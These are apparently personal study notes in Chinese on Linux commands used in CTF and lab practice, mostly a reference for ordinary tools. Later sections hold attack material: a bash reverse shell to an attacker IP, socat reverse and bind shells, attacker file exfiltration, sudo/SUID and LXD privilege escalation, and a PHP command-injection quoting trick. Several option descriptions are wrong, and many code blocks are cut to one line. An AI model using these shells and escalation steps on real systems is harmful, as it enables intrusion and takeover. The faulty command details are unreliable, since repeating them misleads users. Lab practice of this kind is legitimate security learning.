
靶场或者平时遇到的linux指令记录
Linux 常用指令笔记
==awk== 文本处理工具
功能:逐行处理文本,自动分割字段(默认以空格/Tab分隔)
核心变量
变量 | 说明 |
---|---|
$0 |
整行内容 |
$1 |
第一列 |
$2 |
第二列 |
... |
… |
$NF |
最后一列 |
$NR |
行数 (可以判断时候用 比如$NR %2 ==0 |
常用参数
参数 | 说明 |
---|---|
-F |
指定字段分隔符 |
-f |
指定外部脚本文件 |
-v |
传递外部变量到awk脚本 |
示例
1 | # 使用逗号分隔符,打印第二列 |
knockd 服务
配置文件:/etc/knockd.conf
功能:
端口敲击服务,通过特定端口访问序列触发防火墙规则
应用示例
1 | # 按顺序敲击端口 1111,2222,3333 |
grep 文本搜索工具
元字符表
元字符 | 功能 | 示例 |
---|---|---|
^ | 行首定位符 | ^start |
$ | 行尾定位符 | end$ |
.* | 任意字符(0 或多个) | a.*b |
[] | 字符集合匹配 | [aeiou] |
< | 单词开头 | <word |
常用参数
参数 | 说明 |
---|---|
-E | 使用扩展正则表达式(等价于 grep -E = egrep ) |
-i | 比较字符时忽略大小写 |
-w | 只匹配完整的词,等价于正则中的 \<...\> |
-x | 只匹配整行内容,等价于正则中的 ^...$ |
-v | 取反,输出不符合模式的内容 |
-c | 统计匹配到的行数(行数而非匹配的次数) |
-m | 只匹配规定的行数,之后不再继续匹配 |
-n | 在输出结果中显示行号,指的是文件中原始的行号 |
-o | 只显示匹配的部分,而非整行内容 |
-r | 搜索所有文件,但不跟随符号链接 |
-R | 递归搜索,适用于目录中的多个文件或目录 |
-B | 输出匹配行之前的若干行,例如 grep -B 3 "aa" file 输出包含 “aa” 的行以及前 3 行 |
-A | 输出匹配行之后的若干行 |
-C | 同时显示匹配行的前后几行,等价于同时使用 -B 和 -A |
使用示例
1 | grep -i "hello" file.txt # 忽略大小写查找 |
nc (Netcat) 网络工具
常用参数
参数 | 说明 |
---|---|
-l | 监听模式 |
-v | 显示详细信息 |
-n | 禁用 DNS 解析 |
-p PORT | 指定本地端口 |
-u | UDP 模式 |
-e CMD | 连接后执行命令 |
-w TIME | 设置连接超时,单位为秒 |
-z | 扫描模式,不发送数据,只进行端口扫描 |
使用示例
1 | # 监听端口 4444 |
sudo 权限管理
配置文件:/etc/sudoers
典型配置
1 | # 允许用户免密码执行所有命令 |
drush (Drupal Shell)
(Drush = Drupal + Shell) 就是使用命令行命令来操作 Drupal 站点,它的命令格式与 git 类似,都是双字命令(drush + 实际的命令)。为了使用 Drush,必须先告诉 Drush 要操作哪个站点,一个最直接的方法是将当前目录转到要想操作的站点目录下,Drush 就自动将操作应用于当前目录下的站点。
常用指令:
启用模块 / 禁用模块
1 | drush en/dis project_name |
卸载模块
1 | drush pmu module -y |
数据库导出 (在导出之前 drush cc all)
1 | drush sql-dump > DB.sql |
查看用户信息
1 | drush user-information biaoge,maike |
新建会员
1 | drush ucrt zhangsan –password=111111 |
创建新用户
1 | drush user-create 用户名 --mail="邮箱" --password="密码" |
修改密码php scripts/password-hash.sh 'yourpassword'
drush upwd root --password="****"
UPDATE users SET name='admin', pass='$S$DfQ/y58nGpZvyRLYd3LSyJ.s82xSC3Z.2oxdCIL4EHKAYcQnDl9T' WHERE uid = 1**;
drush -status 查看版本等信息
scp 安全文件传输
scp
是一个基于 SSH 协议的文件传输工具,用于在本地与远程主机之间或两台远程主机之间安全地拷贝文件。scp
的全称是 Secure Copy,它的用法与 cp
类似,但支持远程文件传输
使用示例
1 | # 下载远程文件 |
ps
ps
是 Linux 和 Unix 系统中用于查看当前系统中运行的进程状态的命令。它是 Process Status 的缩写,提供系统中活动进程的信息
常用参数
选项 | 作用 |
---|---|
-e |
显示所有进程。 |
-f |
全格式显示进程信息(包含父进程等信息)。 |
-u [user] |
显示某个用户的进程。 |
-p [pid] |
显示特定进程的详细信息。 |
-a |
显示所有终端相关的进程(不包括会话首进程)。 |
-x |
显示没有控制终端的进程(后台进程)。 |
-l |
长格式显示进程信息。 |
--forest |
显示进程的层级结构。 |
一般用-ef
apache2
访问文件的目录是/var/www/html 访问记录在/var/log/apache2/access.log
tac
cat指令反过来 让数据从最后一行开始颠倒 但是每行内容不变 适合题目给了一个passwords文件 从后面开始爆破
/var/mail
存放用户邮件的地方 里面可能有有用的信息
/etc/release
这个目录下有两个文件可以查看当前linux的版本信息
1 | /etc/os-release: 包含全面的发行版信息,适用于大多数现代 Linux 发行版。 |
tar
常用参数
参数 | 说明 |
---|---|
-x | 提取归档文件中的内容。用于将归档文件解压缩并提取其中的文件。 |
-f | 指定归档文件的名称。此选项后面必须跟上文件路径或文件名,用于告诉命令操作的文件。 |
-v | 显示详细信息。在解压缩或归档时,使用此选项将列出正在处理的文件名,帮助用户追踪过程。 |
-z | 如果归档是 gzip 压缩的,则解压。用于解压缩 .gz 格式的文件。 |
-j | 如果归档是 bzip2 压缩的,则解压。用于解压缩 .bz2 格式的文件。 |
-J | 如果归档是 xz 压缩的,则解压。用于解压缩 .xz 格式的文件。 |
-c | 将输出发送到标准输出,而不是直接写入文件。常用于将归档内容输出到屏幕或另一个命令。 |
-t | 测试归档文件是否完整,检查归档中的文件是否可以正常解压缩。 |
-u | 更新归档文件。仅将比归档中现有文件更新的文件添加到归档。 |
-p | 保留文件的原始权限和时间戳。在解压时不更改文件的时间戳和权限。 |
使用示例
1 | # 创建压缩包 |
find
find一个文件 后面可以跟上 -exec指定每找到一个就执行的命令 比如 -exec whami ; 后面要加上反斜杠和封号 告诉find不用解析后面的内容了(需要做的命令就这些)
常用参数和示例
参数 | 说明 | 示例 |
---|---|---|
-username |
指定用户名 | find /home -username user1 |
-group |
指定组 | find /home -group admin |
-type |
指定要找的文件类型 | find / -type f (查找普通文件)find / -type d (查找目录) |
-name |
按文件名查找 | find /home -name "*.txt" |
-size |
按文件大小查找 | find / -size +10M (查找大于10MB的文件) |
-mtime |
按修改时间查找 | find / -mtime -7 (查找最近7天内修改的文件) |
-exec |
对找到的文件执行命令 | find / -name "*.log" -exec rm {} \; |
-perm |
按权限查找 | find / -perm 644 |
-user |
按文件所有者查找 | find / -user user1 |
-maxdepth |
设置查找的最大深度 | find / -maxdepth 2 |
–break-system-packages
新的kali和ubuntu中的pip指令直接安装会报错,pip3 install 后面加上这个指令才能安装(忽略风险)推荐使用docker安装
exiftool
exiftool
是一个功能强大的命令行工具,用于读取、修改和删除文件的元数据(metadata)。它支持多种文件格式,包括图片、视频、音频、PDF 等,常用于处理 EXIF、IPTC、XMP 等类型的元信息。
常用参数
参数 | 说明 | 示例 |
---|---|---|
-common |
显示常见的元数据信息 | exiftool -common image.jpg |
-all |
显示所有元数据 | exiftool -all image.jpg |
-overwrite_original |
修改文件时不生成备份 | exiftool -overwrite_original -Artist="John Doe" image.jpg |
-Author |
设置作者信息 | exiftool -Author="John Doe" image.jpg |
-DateTimeOriginal |
修改拍摄时间 | exiftool -DateTimeOriginal="2024:01:30 12:00:00" image.jpg |
-GPSLatitude & -GPSLongitude |
设置GPS坐标 | exiftool -GPSLatitude=40.7128 -GPSLongitude=-74.0060 image.jpg |
-r |
递归处理目录 | exiftool -r -all /path/to/images |
-d |
格式化时间输出 | exiftool -d "%Y-%m-%d %H:%M:%S" image.jpg |
-delete_original |
删除备份文件 | exiftool -delete_original image.jpg |
-tagsFromFile |
从另一个文件复制元数据 | exiftool -tagsFromFile source.jpg target.jpg |
-fast |
加快处理速度,但可能略微降低准确性 | exiftool -fast image.jpg |
-b |
以二进制格式提取数据 | exiftool -b -ThumbnailImage image.jpg > thumb.jpg |
-P |
保留原始文件修改时间 | exiftool -P -Artist="Jane Doe" image.jpg |
-X |
以XML格式导出元数据 | exiftool -X image.jpg > metadata.xml |
-csv |
以CSV格式导出元数据 | exiftool -csv image.jpg > metadata.csv |
curl
curl
是一个非常强大的命令行工具,用于向服务器发送请求并接收响应。它支持多种协议(如 HTTP、HTTPS、FTP 等),常用于下载文件、测试接口、提交数据等操作。
参数 | 说明 | 示例 |
---|---|---|
-o |
保存输出到指定文件 | curl -o output.html https://example.com |
-O |
以远程文件名保存 | curl -O https://example.com/file.zip |
-L |
跟随重定向 | curl -L https://example.com |
-I |
仅获取 HTTP 头信息 | curl -I https://example.com |
-X |
指定 HTTP 方法 | curl -X POST https://example.com/api |
-H |
添加 HTTP 头 | curl -H "Authorization: Bearer TOKEN" https://api.example.com |
-d |
发送 POST 数据 | curl -d "name=John&age=30" -X POST https://example.com/form |
-F |
上传文件 | curl -F "file=@image.jpg" https://example.com/upload |
-u |
认证(用户名:密码) | curl -u user:pass https://example.com/login |
-k |
跳过 SSL 证书验证 | curl -k https://self-signed.example.com |
-X 指定访问方式 POST GET PUT
–data 指定具体参数
tldr
它旨在提供简洁的命令行指令使用示例和说明,帮助用户快速了解命令的基本用法。
1 | tldr |
gocr
gocr
是一个在 Linux 等系统中用于光学字符识别(OCR)的工具,它可以将图像中的文字提取并转换为可编辑的文本格式
1 | gocr image.jpg |
doas
doas
是一个用于在类 Unix 系统中以其他用户身份(通常是超级用户root
)执行命令的工具,类似于su
和sudo
。以下是关于doas
的基本信息和常用参数:
1 | -n:不询问密码执行命令。但这需要在 doas 的配置文件中进行相应设置,允许特定用户或用户组在不输入密码的情况下执行某些命令。例如,在配置允许的情况下,doas -n some_command 可以直接执行命令而无需输入密码。 |
使用示例
1 | # 以 root 身份执行命令(类似 sudo) |
dig
dig
(Domain Information Groper)是一个用于查询 DNS(Domain Name System)信息的强大工具,在 Linux 系统中非常常用
在 dig 命令中,AXFR 是一种查询类型,用于请求 DNS 区域传输( Authoritative Xerox File Replication)。它用于从主 DNS 服务器获取整个 DNS 区域的所有记录,通常用于备份 DNS 记录或在主 / 辅助 DNS 服务器之间同步数据。
1 | dig @<DNS服务器> <域名> AXFR |
使用示例
1 | # 查询域名的 A 记录 |
resolv.conf
resolv.conf
是一个在类 Unix 系统(如 Linux、Unix、macOS 等)中非常重要的配置文件,它主要用于配置系统的 DNS(域名系统)解析相关信息。
- 在大多数 Linux 系统中,
resolv.conf
通常位于/etc/resolv.conf
。
/etc/bind
/etc/bind
是在 BIND(Berkeley Internet Name Domain)DNS 服务器软件的常见配置目录。BIND 是一个广泛使用的开源 DNS 服务器软件,用于实现域名解析服务。
tr
tr
命令主要用于字符的替换、删除和压缩,它从标准输入读取数据,并将处理结果输出到标准输出。
1 | tr [选项] SET1 [SET2] |
-c
:使用SET1
的补集。即操作除SET1
中字符以外的所有字符。-d
:删除SET1
中的字符,而不是替换它们。-s
:将连续重复的字符压缩为一个字符。
通常只能用来单个字符
使用示例
1 | # 将小写字母转换为大写 |
sed
sed
(Stream Editor)是一个强大的流编辑器,它可以对文本流进行各种操作,包括查找、替换、删除、插入等。sed
主要用于对文件或标准输入进行逐行处理,并将处理结果输出。
s/模式/替换内容/g
:这是最常用的命令,用于进行字符串替换。s
表示替换操作。模式
是要查找和替换的内容。替换内容
是替换后的内容。g
表示全局替换,即对每一行中出现的所有匹配模式进行替换。如果不使用g
,则只替换每行中的第一个匹配项。
d
:删除匹配模式的行。p
:打印匹配模式的行。
使用示例
1 | # 替换字符串 |
alias
在 Linux 系统中,alias
是一个用于创建命令快捷方式的功能。通过 alias
,你可以将复杂或常用的命令定义为简短的名称,从而提高效率并减少重复输入。
openssl
1 | # AES 解密 |
参数解释:
openssl enc: 这个命令用于对称加密或解密,enc 表示使用加密算法。
-d: 解密模式,表示对加密文件进行解密操作。
-aes-256-cbc: 指定加密算法为 AES,使用 256 位密钥和 CBC 模式。
-des-ede3-cbc: 指定加密算法为 DES,使用 3 重加密 (EDE3) 和 CBC 模式。
-in encrypted.txt: 输入的加密文件。
-out decrypted.txt: 解密后的输出文件。
-k password: 密钥,通常是密码形式的字符串,用于解密过程。
openssl rsautl: 用于进行 RSA 加密、解密或签名验证。
-decrypt: 解密模式,用于对使用 RSA 加密的文件进行解密。
-in encrypted.txt: 输入的加密文件。
-inkey private_key.pem: 指定私钥文件,私钥用于解密操作。
-out decrypted.txt: 解密后的输出文件。
xargs
- 将标准输入传递给其他命令。例如,echo “file1 file2 file3” | xargs ls,这条命令先通过echo输出文件名列表,然后xargs将这些文件名作为参数传递给ls命令,实现列出这些文件的信息。
- -n选项可指定每次传递给命令的参数数量。例如echo {1..10} | xargs -n 3 echo,会将输入的数字每 3 个一组传递给echo命令,实现分组输出
id_rsa
这个文件通常存的是ssh的私钥 可以用ssh -i id_rsa来进行ssh 登录 但是这个文件的权限要先chmod 600
公钥文件权限是644
~/.ssh/authorized_keys
~/.ssh/authorized_keys
是一个 公钥认证 文件,它存储的是 可以用于无密码 SSH 登录该账户的公钥。
作用
当你尝试通过 SSH 登录到一个账户时(比如 ssh user@host
),SSH 服务器会检查 ~/.ssh/authorized_keys
文件,如果其中包含与你的私钥匹配的公钥,就允许你登录,而 无需输入密码。~/.ssh/authorized_keys
支持在公钥前面指定 command=
选项,这样 每次有人使用该公钥登录时,就会自动执行指定的命令,而不会启动普通的 shell。
用私钥生成公钥
1 | ssh-keygen -y -f id_rsa > authorized_keys |
📌 说明:
-y
:从私钥中提取公钥-f id_rsa
:指定私钥文件> authorized_keys
:输出公钥到文件
smb
Samba 简介
在 Linux 中,SMB(Server Message Block)服务是一种网络文件共享协议,通常用于在网络中共享文件、打印机和其他资源。
SMB 最初由 Microsoft 开发,并且是 Windows 操作系统中广泛使用的文件共享协议。
在 Linux 系统中,SMB 服务通常由 Samba 软件提供支持。
主要功能
文件共享:允许在不同操作系统之间共享文件和目录。
打印机共享:允许在网络中共享打印机。
网络浏览:允许计算机查看和浏览网络中的共享资源。
主要配置文件
/etc/samba/smb.conf:Samba 的主要配置文件,管理员在此设置共享目录、访问权限等。
smbclient:命令行工具,用于连接和访问 SMB 共享资源。
smbclient 参数和使用
-L:列出共享资源的信息。
-U:指定连接时使用的用户名。
//:指定共享资源的路径,通常以 //<服务器地址>/<共享名称> 的格式指定。
示例:访问 server 上的共享目录 share:
1 | smbclient //server/share -U username |
1 | -W:指定工作组名。 |
常用操作
下载文件:使用 get 命令下载文件。
上传文件:使用 put 命令上传文件。
ftp
FTP(File Transfer Protocol,文件传输协议)是一种用于在网络上传输文件的标准协议。它使用客户端 - 服务器模型,客户端通过 FTP 连接到服务器,上传或下载文件。FTP 默认使用端口 21
。
ftp username@ip 登录ftp 如果要匿名登录 用户名就用anonymous
1 | ftp anonymous@ftp.example.com |
常用交互命令(登录后使用)
命令 | 说明 | 示例 |
---|---|---|
user |
重新输入用户名 | user anonymous |
pass |
输入密码(匿名登录可留空) | pass |
binary |
设置为二进制传输模式 | binary |
ascii |
设置为文本传输模式 | ascii |
get |
下载单个文件 | get file.txt |
mget |
下载多个文件(支持通配符) | mget *.log |
put |
上传单个文件 | put backup.zip |
mput |
上传多个文件(支持通配符) | mput *.jpg |
passive |
切换被动模式状态 | passive |
ls |
列出远程目录文件 | ls /pub |
cd |
切换远程目录 | cd /downloads |
lcd |
切换本地目录 | lcd ~/Documents |
quit /bye |
退出 FTP 会话 | quit |
getcap
getcap
用于列出和显示指定文件的能力。能力是通过文件系统附加在可执行文件上的特定权限,能够控制该程序在运行时执行某些特权操作(如网络访问、文件访问等),而不需要完全的 root 权限。getcap <file>
显示指定文件的能力信息getcap -r <directory>
递归地列出指定目录及其子目录下所有文件的能力信息。getcap -v <file>
显示文件的详细能力信息
能力(Capabilities)示例
cap_net_raw
允许程序使用原始网络套接字(例如执行ping
命令)。cap_dac_read_search
允许程序绕过文件的读和搜索权限检查。cap_sys_admin
允许程序执行许多系统管理操作,相当于 root 权限。cap_chown
允许程序更改文件的所有者和组。cap_setuid
允许程序更改自己的用户 ID。
使用时用/usr/sbin/getcap 这个目录下的权限更高 能找到更多文件
ln
ln 是 Linux 系统中的 创建链接命令,用于创建 硬链接 或 符号链接(软链接)。
常用参数
选项 | 作用 |
---|---|
-s |
创建符号链接(软链接) |
-f |
强制覆盖已存在的链接 |
-v |
显示详细信息 |
-n |
取消对目标的符号链接解析 |
bash -i >& /dev/tcp/[ip]/1234 0>&1
反弹shell指令
bash -i
bash 是 Unix 系统上的一个常用 shell(命令行解释器)。bash 可以启动交互式或非交互式 shell。
-i 选项使 bash 启动为交互式 shell,这意味着 shell 会尝试从标准输入读取命令并打印标准输出。交互式 shell 还会加载用户的配置文件(例如 .bashrc),使其行为与普通终端相似。
>& /dev/tcp/192.168.240.83/1234
& 是 Bash 中用于重定向输出的语法,它将文件描述符从一个地方重定向到另一个地方。
/dev/tcp/192.168.240.83/1234 是一个特殊的文件路径,它是 Bash 内置的一种方式,通过 TCP 连接发送和接收数据。它表示一个 TCP 连接,其中 192.168.240.83 是目标 IP 地址,1234 是目标端口号。
这种方式允许 Bash 将输出流重定向到一个 TCP 连接,而不是普通的文件或终端。这使得 Bash 可以将输出(如命令的执行结果)发送到远程主机。
所以,>& /dev/tcp/192.168.240.83/1234 将 bash 的标准输出(STDOUT)和标准错误(STDERR)都重定向到目标机器的 IP 地址 192.168.240.83,并通过端口 1234 发送。
0>&1
0 代表标准输入(stdin)。
&1 将标准输入重定向到标准输出。这意味着输入流会从 TCP 连接而不是终端接收。
通过这一部分,bash 的标准输入(命令输入)会从远程机器的 TCP 连接接收,而不是从用户的终端接收。
综合解释
整个命令的作用是:
启动一个交互式 Bash shell (bash -i)。
将标准输出和标准错误输出重定向到一个 TCP 连接,目标 IP 为 192.168.240.83,目标端口为 1234。
将标准输入重定向到 TCP 连接,从远程机器接收输入。
反向 Shell
这行命令的作用就是创建一个反向 shell。受害主机通过 bash 连接到攻击者的机器,并通过一个指定的端口(这里是 1234)与攻击者进行交互:
stty raw -echo; fg (美化终端)
stty raw -echo; fg
是一个组合命令,通常用于恢复终端的正常行为或从后台恢复一个挂起的任务。
刚才用了script -qc /bin/bash /dev/null
然后ctrl+z挂起了那个回话
再输入reset xterm升级终端
然后再输入当前kali的stty的行数列数 先用stty -a获取行数列数
然后在web shell中输入 stty rows 34 columns 115
完整美化终端操作:
1 | script -qc /bin/bash /dev/null |
–
当创建/使用的文件名中有–时,要在命令中加上– 告诉命令后面的不是参数,因为默认–后面跟着参数
pts
PTS(Pseudo Terminal Slave,伪终端从设备)是一种 伪终端(Pseudo Terminal, PTY) 设备,它用于支持终端仿真,如 SSH 连接、screen、tmux、script、expect 等工具。它通常与 PTY 主设备(Master) 配对,用于提供交互式终端访问。
在 Linux 或 macOS 中,当你打开一个新的终端会话(如 ssh 远程连接、tmux 分屏、或 screen 会话),系统会为你分配一个 伪终端设备,通常格式为:
1 | /dev/pts/N |
docker
名称查看配置文件:docker inspect
列出所有容器: docker ps -a
进入容器的交互式shell : docker exec -it <container_id_or_name> /bin/bash
查看所有卷: docker volume ls
删除卷:docker volume rm <volume_name>
wc
wc
(word count)是一个用于统计文件内容的命令,能够计算 行数、单词数、字符数和字节数。
常用参数
选项 | 作用 |
---|---|
-l |
只统计行数(Lines) |
-w |
只统计单词数(Words) |
-c |
只统计字节数(Bytes) |
-m |
只统计字符数(Characters),与 -c 类似,但 -m 适用于多字节字符(如 UTF-8) |
-L |
输出最长行的字符数 |
sulogin
sulogin
是 Single User Login(单用户模式登录) 的命令,通常用于 Linux/Unix 在单用户模式(维护模式)下,以 root 身份登录,用于修复系统或执行维护任务。
基本用法
1 | sulogin [OPTIONS] [TTY] |
选项 | 含义 |
---|---|
-p | 单用户 Shell 调用一个破折号作为参数中的第一个字符 |
-t | 程序只会等待用户输入指定秒数 |
ENVIRONMENT VARIABLES | |
sulogin looks for the environment variable SUSHELL or sushell to determine what shell to start. If the environment variable is not set, it will try to execute root’s shell from /etc/passwd. If that fails, it will fall | |
back to /bin/sh. | |
说明SUSHELL这个环境变量可以指定启动什么shell |
cron定时任务
cron
是 Linux/Unix 系统中的定时任务调度工具,可用于 定期执行脚本、命令或程序,适用于 自动备份、日志清理、定时任务等场景。
相关路径
文件 / 目录 | 作用 |
---|---|
/etc/crontab |
系统级 crontab 配置,所有用户共享 |
/var/spool/cron/crontabs/ |
存放用户的 crontab 任务文件(不能手动编辑) |
/etc/cron.d/ |
存放系统定时任务,格式与 /etc/crontab 相同 |
/etc/cron.hourly/ |
每小时 执行的脚本目录 |
/etc/cron.daily/ |
每天 执行的脚本目录 |
/etc/cron.weekly/ |
每周 执行的脚本目录 |
/etc/cron.monthly/ |
每月 执行的脚本目录 |
/var/log/syslog 或 /var/log/cron |
存放 cron 执行日志(不同系统路径可能不同) |
lxd
LXD 是一个 root 进程,它负责执行任意用户的 LXD UNIX 套接字写入访问操作。而且在某些情况下,LXD 甚至都不会调用它的用户权限进行检查和匹配
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于 Chroot 和完整开发的虚拟机之间,LXC 可以创建一个跟正常 Linux 操作系统十分接近的环境,但是不需要使用到单独的内核资源。
Linux Daemon(LXD)是一个轻量级容器管理程序,而 LXD 是基于 LXC 容器技术实现的,而这种技术之前 Docker 也使用过。LXD 使用了稳定的 LXC API 来完成所有的后台容器管理工作,并且增加了 REST API 支持,更进一步地提升了用户体验度。
如果一个普通用户属于 lxd
组,那么他就可以:
- 创建 LXD 容器
- 以
security.privileged=true
的方式运行容器(即让容器以 root 权限运行) - 挂载宿主机的目录到容器中,理论上可以访问整个文件系统
由于 lxd
进程是以 root 权限运行的,而 lxd
组用户可以控制 lxd
,所以它本质上是一个 “权限升级的入口”。
(2)提权流程
核心思想:
- 利用 LXD 组权限 创建一个 特权(privileged)容器,该容器将以 root 运行。
- 挂载宿主机的根目录 到容器的
/mnt/root
目录,使得容器内部可以直接访问宿主机的文件系统。 - 进入容器后,利用
chroot
进入/mnt/root
,从而获得宿主机的 root 权限。
提权详细过程
1 | #(1)获取 Alpine Linux 镜像 |
socat端口转发
socat
主要用于在两个数据流之间建立双向通信。例如,可以在本地监听一个端口,并将数据转发到远程服务器上的指定端口。
本地端口转发(将本地端口流量转发到远程)
示例:本地监听 8080,将请求转发到 192.168.1.100:80
1 | socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 |
远程端口转发(将远程端口的流量转发到本地)
示例:监听远程服务器的 9000 端口,并转发到本地的 8080 端口
1 | socat TCP-LISTEN:9000,reuseaddr,fork TCP:127.0.0.1:8080 |
反向代理(将访问远程端口的请求转发到另一个远程地址)
示例:监听本地 4444 端口,并转发到远程 10.10.10.10:5555
1 | socat TCP-LISTEN:4444,reuseaddr,fork TCP:10.10.10.10:5555 |
UDP端口转发
1 | socat UDP-LISTEN:9999,reuseaddr,fork UDP:192.168.1.200:53 |
反向 Shell(监听远程主机的反连)
示例:受控机器通过 socat
连接到攻击机 4444 端口,并提供交互式 shell
1 | socat TCP:攻击机IP:4444 EXEC:"/bin/bash",pty,stderr,sigint,setsid,sane |
reuseaddr
:允许端口重用,避免 “端口已被占用” 的问题。fork
:让socat
处理多个连接,而不是只接受一个。
上面的指令最后加上&,让它在后台进行
此外socat还可进行读取文件,写入文件,sudo提权,等等 https://gtfobins.github.io/gtfobins/socat/
功能 | 命令 | 作用 |
---|---|---|
受限环境逃逸 | socat stdin exec:/bin/sh |
在受限环境中获取交互式 shell |
反向 shell | socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane |
目标机向攻击者回连 shell |
绑定 shell | socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane |
目标机监听端口,攻击者连接获取 shell |
文件上传 | socat -u file:$LFILE tcp-connect:$RHOST:$RPORT |
目标机向攻击者上传文件 |
文件下载 | socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat |
攻击者向目标机发送文件 |
文件写入 | socat -u 'exec:echo DATA' "open:$LFILE,creat" |
在目标机写入数据 |
文件读取 | socat -u "file:$LFILE" - |
读取文件内容 |
sudo 提权 | sudo socat stdin exec:/bin/sh |
如果 socat 可用 sudo,则可获取 root shell |
SUID 提权 | sudo install -m =xs $(which socat) . |
复制 socat 并利用 SUID 提权 |
netstat -lntup
netstat -lntup
是 Linux 下用于查看当前监听的网络端口及其对应进程的命令。
参数解析
-l
(--listening
):显示 正在监听 的端口(即服务在等待连接)。-n
(--numeric
):以 数字格式 显示 IP 和端口(不解析域名)。-t
(--tcp
):显示 TCP 端口。-u
(--udp
):显示 UDP 端口。-p
(--programs
):显示 进程信息(如进程 ID 和名称)。
ss
ss
(socket statistics)是 netstat
的现代替代工具,用于显示套接字(socket)相关信息。它比 netstat
更快,占用更少的系统资源,并且默认安装在大多数 Linux 发行版上。
🔹 常见选项
选项 | 作用 |
---|---|
-t |
显示 TCP 连接 |
-u |
显示 UDP 连接 |
-l |
仅显示监听(LISTEN)端口 |
-n |
不解析主机名和端口(显示数字) |
-p |
显示进程 PID 和名称 |
-a |
显示所有连接(包括监听和已建立的) |
-s |
显示套接字统计信息 |
-i |
显示详细的内部信息 |
-4 |
仅显示 IPv4 连接 |
-6 |
仅显示 IPv6 连接 |
查看正在使用的端口就用 |
1 | ss -tulnp |
shansum
以sha1sum举例。sha1sum
是 Linux 中用来计算文件或字符串的 SHA-1 哈希值 的命令。SHA-1(Secure Hash Algorithm 1)是一种常见的哈希算法,输出 160 位(20 字节)的哈希值,通常用 40 个十六进制字符表示。
基本用法
1 | sha1sum <filename> |
常用选项
选项 | 说明 | 示例 |
---|---|---|
-b |
以二进制模式计算哈希 | sha1sum -b file.txt |
-c |
校验文件是否与提供的哈希值匹配 | sha1sum -c file.sha1 |
--check |
与 -c 相同,校验文件的哈希值 |
sha1sum --check file.sha1 |
--quiet |
在校验时不输出任何信息,只有错误时显示 | sha1sum --check --quiet file.sha1 |
-t |
指定输出哈希值的长度(默认是 40) | sha1sum -t 20 file.txt |
-h |
显示帮助信息 |
nl
nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。
命令格式:
1 | nl [选项]... [文件]... |
命令参数:
1 | -b :指定行号指定的方式,主要有两种: |
shell引号
在 shell 中,'"'"'
(单引号 + 双引号 + 单引号 + 双引号 + 单引号)是一个技巧,用来在单引号包围的字符串中插入一个单引号。要理解何时使用它,需要掌握 shell 的引号规则:
单引号 (
'
)- 单引号内的所有字符都被视为原样,不会进行变量替换或转义。
- 不能在单引号内直接插入单引号,除非打破单引号的范围。
双引号 (
"
)- 允许变量替换和命令替换(
$VAR
、$(command)
)。 - 但不会解析
\
(除非用于转义$
、`
或"
)。
- 允许变量替换和命令替换(
如果需要在一个单引号字符串内插入单引号(例如 system('cat fl*')
),就必须在单引号外部打破它。例如:
1 | 'system ('"'"'cat fl*'"'"'); ' |
分解:
- 第一部分
'<?php system ('
→ 以单引号开头 - 第二部分
'"'"'
→ 插入单引号'"'
(结束单引号 + 开启双引号) → 进入双引号模式"'"
(双引号内输入单引号) → 由于双引号内的单引号有效,它可以作为 PHP 代码的一部分'"'
(关闭双引号 + 重新开启单引号) → 返回单引号模式
- 第三部分
'cat fl*'
→ 继续单引号字符串 - 第四部分
'"'"'
→ 再次插入单引号 - 第五部分
');?>'
→ 结束单引号字符串
~/.ssh/authorized_keys
~/.ssh/authorized_keys
是一个 公钥认证 文件,它存储的是 可以用于无密码 SSH 登录该账户的公钥。
作用
当你尝试通过 SSH 登录到一个账户时(比如 ssh user@host
),SSH 服务器会检查 ~/.ssh/authorized_keys
文件,如果其中包含与你的私钥匹配的公钥,就允许你登录,而 无需输入密码。~/.ssh/authorized_keys
支持在公钥前面指定 command=
选项,这样 每次有人使用该公钥登录时,就会自动执行指定的命令,而不会启动普通的 shell。
用私钥生成公钥
1 | ssh-keygen -y -f id_rsa > authorized_keys |
📌 说明:
-y
:从私钥中提取公钥-f id_rsa
:指定私钥文件> authorized_keys
:输出公钥到文件
/*逃逸
用/*
说明执行/
后面的所有内容,那可以写../../../
逃逸到有写入权限的目录。
tee
tee
是一个在类 Unix 系统中常用的命令,它用于从标准输入读取数据,并将其同时输出到标准输出和一个或多个文件中。这对于在不丢失数据的情况下同时查看和保存输出非常有用。
常见选项:
-a
:追加到文件,而不是覆盖文件。-i
:忽略中断信号。-p
:在文件写入之前显示输出。
man
man
(manual)是 Linux 和 Unix 系统中的 手册(Manual) 命令,主要用于查看 命令、库函数、配置文件等的文档。
几乎所有 Linux 命令都有对应的 man
手册,格式 标准、结构清晰,是学习 Linux 的重要参考资料。man
手册分为 多个章节,不同章节的条目可能有相同的名称,但内容不同:
章节 | 内容 |
---|---|
1 | 用户命令(常见命令,如 ls 、cd 、grep ) |
2 | 系统调用(如 open() 、read() ,需要 #include ) |
3 | 库函数(如 printf() 、malloc() ,需要 #include ) |
4 | 设备文件(如 /dev/null ) |
5 | 配置文件格式(如 /etc/passwd ) |
6 | 游戏和娱乐 |
7 | 杂项(如 man 7 regex 解释正则表达式) |
8 | 管理员命令(如 iptables ,需要 root 权限) |
man
命令的常用选项
选项 | 作用 |
---|---|
-f |
查找命令属于哪个 man 章节(等同于 whatis ) |
-k |
关键字搜索手册(等同于 apropos ) |
-P <pager> |
指定分页器(默认 less ) |
-a |
显示所有匹配的手册 |
-l <file> |
读取本地 man 手册 |
-w |
仅显示手册路径,不打开 |
在有的题目中如果用man提权无法直接打开,要指定分页器 |
1 | #报错信息 |
$(())
这是shell中的计算符,里面跟上计算式 , 里面没有值就是0
~是取反,值等于+1再相反,比如-37的反就是36 , 有的题目过滤了数字,但是要拼出一个数字就用这种方法
比如
1 | awk BEGIN{for(i=0;i<=36;i++){a=a"$((~$(())))"}print "$((~("a")))"} |
/usr/lib
在 Linux 系统中,/usr/lib
目录通常用于存放 系统和用户程序的库文件(shared libraries)
1. 共享库(Shared Libraries)
- 例如:
libc.so
(C 标准库)、libssl.so
(OpenSSL 加密库)等
